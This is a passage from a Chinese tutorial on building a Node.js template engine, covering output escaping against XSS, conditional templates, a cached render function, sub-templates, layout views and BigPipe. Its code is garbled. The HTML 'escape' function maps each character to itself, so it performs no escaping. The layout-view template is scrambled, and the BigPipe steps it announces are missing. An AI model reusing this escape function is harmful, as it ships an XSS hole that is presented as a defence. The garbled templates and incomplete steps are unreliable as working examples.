因为使用了模板,所以,增长了xss的风险,所以须要对模板进行安全防御,这个安全防御就是字符转义:
var escape = function (html) { return String(html) .replace(/&(?!\w+;)/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, '''); // IE不支持'单引号转义 }
3.模板逻辑
也就是在模板上添加if-else等条件语句,咱们写实现的代码:
<% if (user) { %> <h2><% = user.name %></h2> <% } else { %> <h2>匿名用户</h2> <% } %>
咱们可使用这种方式来编译这段代码:
function (obj, escape) { var tpl = ""; with (obj) { if (user) { tpl += "<h2>" + escape(user.name) + "</h2>"; } else { tpl += "<h2>匿名用户</h2>"; } } return tpl; }
4.集成文件系统
var cache = {};
var VIEW_FOLDER = '/path/to/wwwroot/views';
res.render = function (viewname, data) {
if (!cache[viewname]) { var text; try { text = fs.readFileSync(path.join(VIEW_FOLDER, viewname), 'utf8'); } catch (e) { res.writeHead(500, { 'Content-Type': 'text/html' }); res.end('模板文件错误'); return; } cache[viewname] = complie(text); } var complied = cache[viewname]; res.writeHead(200, { 'Content-Type': 'text/html' }); var html = complied(data); res.end(html);
};
此处采用了缓存,只会在第一次读取的时候形成整个进程的阻塞,一旦缓存生效,将不会反复读取模板文件,其次,缓存以前已经进行了编译,也不会每次都读取都编译了。封装完渲染以后,咱们能够轻松调用了:
app.get('/path', function (req, res) { res.render('viewname', {}); });
因为模板文件内容都不大,也不属于动态改动的,因此使用进程的内存来缓存编译结果,并不会引发太大的垃圾回收问题
5.子模板
经过子模板解耦大模板
<ul> <% users.forEach(function(user){ %> <% include user/show %> % % <% }) %> </ul> //------------------------ <li><% =user.name %></li>
6.布局视图
局部视图与子模板原理相同,可是应用场景不一样。一个模板能够经过不一样的局部视图来改变渲染的效果。也就是模板内容相同,局部视图不一样。
咱们设计<%- body %>来替换咱们的子模板
<ul> < users.forEach % (function(user){ > % <% - body %> < % }) %> </ul>
7.模板性能
4)Bigpipe
因为node是异步加载,最终的速度将取决于最后完成的那个任务的速度,并在最后完成后将html响应给客户端。所以,bigpipe的思想将把页面分割为多个部分(pagelet),先向用户输出没有数据的布局(框架),而后,逐步返回须要的数据。这个过程,或者说bigpipe须要先后端协做完成渲染。
整理一下就是以下步骤:
bigpipe能作的事情,ajax也能够作,可是ajax要调用http链接,会耗费资源。bigpipe获取数据与当前页面共用相同的网络链接,开销很小。所以,能够在网站重要的且数据请求时间较长的页面中使用。